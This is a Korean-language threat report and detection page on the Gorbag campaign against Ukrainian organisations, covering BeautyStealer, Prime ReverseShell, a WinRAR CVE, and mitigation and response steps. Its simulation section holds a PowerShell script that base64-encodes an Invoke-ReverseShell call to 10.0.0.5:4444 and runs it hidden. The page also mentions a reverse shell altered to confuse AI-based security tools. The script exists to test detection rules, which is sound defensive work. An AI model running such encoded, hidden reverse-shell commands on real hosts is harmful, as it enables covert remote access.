Gorbag 악성코드 캠페인, 우크라이나에서 정보 수집
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Gorbag는 러시아와 연계된 위협 행위자로, 우크라이나 조직을 표적으로 민감한 정보를 수집합니다. 이 그룹은 BeautyStealer 정보탈취기와 Prime ReverseShell을 포함한 전문 도구 모음을 사용하여 브라우저 자격 증명, VPN 설정 및 문서를 수집합니다. 그들의 작전은 장기적인 지속성보다는 신속한 정보 수집에 중점을 두고 있으며, 초기 접근 브로커로서의 역할을 시사합니다.
조사
ESET 연구원들은 2025년 2월부터 Gorbag 활동을 추적했으며, 2026년에는 WinRAR 경로 탐색 취약점을 악용하는 방향으로 전환됨을 관찰했습니다. 조사는 여러 BeautyStealer 변형을 확인하고 Telegram 및 맞춤형 C2 인프라를 통한 데이터 빼돌림을 분석했습니다. 연구원들은 또한 AI 기반 보안 도구를 혼란시키기 위해 수정된 PowerShell 역쉘을 발견했습니다.
완화
조직은 CVE-2025-8088을 해결하기 위해 WinRAR를 업데이트하고 스피어 피싱 시도를 차단하기 위해 이메일 필터링을 강화해야 합니다. 그룹 정책을 통해 매크로 실행을 제한하면 초기 감염 단계를 방지할 수 있습니다. 보안 팀은 또한 Telegram과 같은 서비스로의 비정상적인 PowerShell 활동 및 무단 데이터 빼돌림을 모니터링해야 합니다.
응답
악의적 활동이 감지되면, 데이터 유출 및 자격 증명 절도를 막기 위해 손상된 호스트를 격리하십시오. %ProgramData% 디렉터리 및 Windows 시작 폴더에서 의심스러운 LNK 파일이나 페이로드를 디지털 포렌식 분석하십시오. 브라우저에 저장된 비밀번호와 VPN 설정을 포함하여 영향을 받은 환경의 모든 잠재적으로 노출된 자격 증명을 재설정하십시오.
공격 흐름
이 부분은 여전히 업데이트 중입니다.
탐지
의심스러운 MSOffice 하위 프로세스 (cmdline 통해)
의심스러운 이진 파일/스크립트가 자동 시작 위치에 있음 (file_event 통해)
아카이브에서 추출된 의심스러운 파일 (file_event 통해)
MSOffice가 의심스러운 위치에 파일을 드롭함 (file_event 통해)
명령 및 제어 채널로 텔레그램 오용 가능성 (dns_query 통해)
탐지를 위한 IOCs (HashSha1): Gorbag: 국경에서 우크라이나로부터 정보를 수확하는 오크
탐지를 위한 IOCs (SourceIP): Gorbag: 국경에서 우크라이나로부터 정보를 수확하는 오크
탐지를 위한 IOCs (DestinationIP): Gorbag: 국경에서 우크라이나로부터 정보를 수확하는 오크
Prime ReverseShell 및 BeautyStealer 활동 탐지 [Windows Powershell]
시뮬레이션 실행
-
공격 내러티브 및 명령: 적대자가 스피어 피싱 첨부 파일을 통해 초기 접근 권한을 획득했습니다. 지속성과 명령 및 제어 (C2) 채널을 설정하기 위해 “Prime ReverseShell”을 배포하려고 시도합니다. 그들은 PowerShell을 사용하여
-Enc(EncodedCommand) 플래그를 사용하여 기본 검사를 회피하고, 아래와 같은 문자열을 포함시킵니다.Invoke-ReverseShell을 통해 기존 도구킷 서명과의 호환성을 유지합니다. 동시에 그들은 특정 식별자를 포함한 스크립트를 호출하여 브라우저 데이터를 빼돌리는 “BeautyStealer” 활동을 시뮬레이션합니다. -
회귀 테스트 스크립트:
# 시뮬레이션 스크립트: Gorbag APT 패턴 트리거 # 이 스크립트는 특정 탐지 문자열을 트리거하기 위해 두 개의 별도 명령을 실행합니다. Write-Host "[+] 시뮬레이션 시작: Prime ReverseShell/BeautyStealer 로직 트리거 중..." -ForegroundColor Cyan # 1. -Enc 및 Invoke-ReverseShell을 통해 트리거 (Prime ReverseShell 시뮬레이션) # Base64로 인코딩된 명령으로, 디코딩 시 'Invoke-ReverseShell'을 포함함 $Command = 'Write-Host "연결 중..."; Invoke-ReverseShell -IP 10.0.0.5 -Port 4444' $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command) $EncodedCommand = [Convert]::ToBase64String($Bytes) Write-Host "[+] 인코딩된 명령 실행 중..." -ForegroundColor Yellow Start-Process powershell.exe -ArgumentList "-Enc $EncodedCommand" -WindowStyle Hidden # 2. 'BeautyStealer' 키워드를 통해 트리거 (BeautyStealer 활동 시뮬레이션) Write-Host "[+] BeautyStealer 키워드 트리거 실행 중..." -ForegroundColor Yellow Start-Process powershell.exe -ArgumentList "-Command `"Write-Output 'Running BeautyStealer module...'`"" -WindowStyle Hidden Write-Host "[+] 시뮬레이션 명령 전송 완료." -ForegroundColor Green -
정리 명령:
# 정리: 지속적인 파일은 생성되지 않았으나, 고아된 프로세스가 남지 않도록 합니다. Get-Process powershell | Where-Object { $_.CommandLine -like "*Invoke-ReverseShell*" -or $_.CommandLine -like "*BeautyStealer*" } | Stop-Process -Force Write-Host "[+] 정리 완료." -ForegroundColor Cyan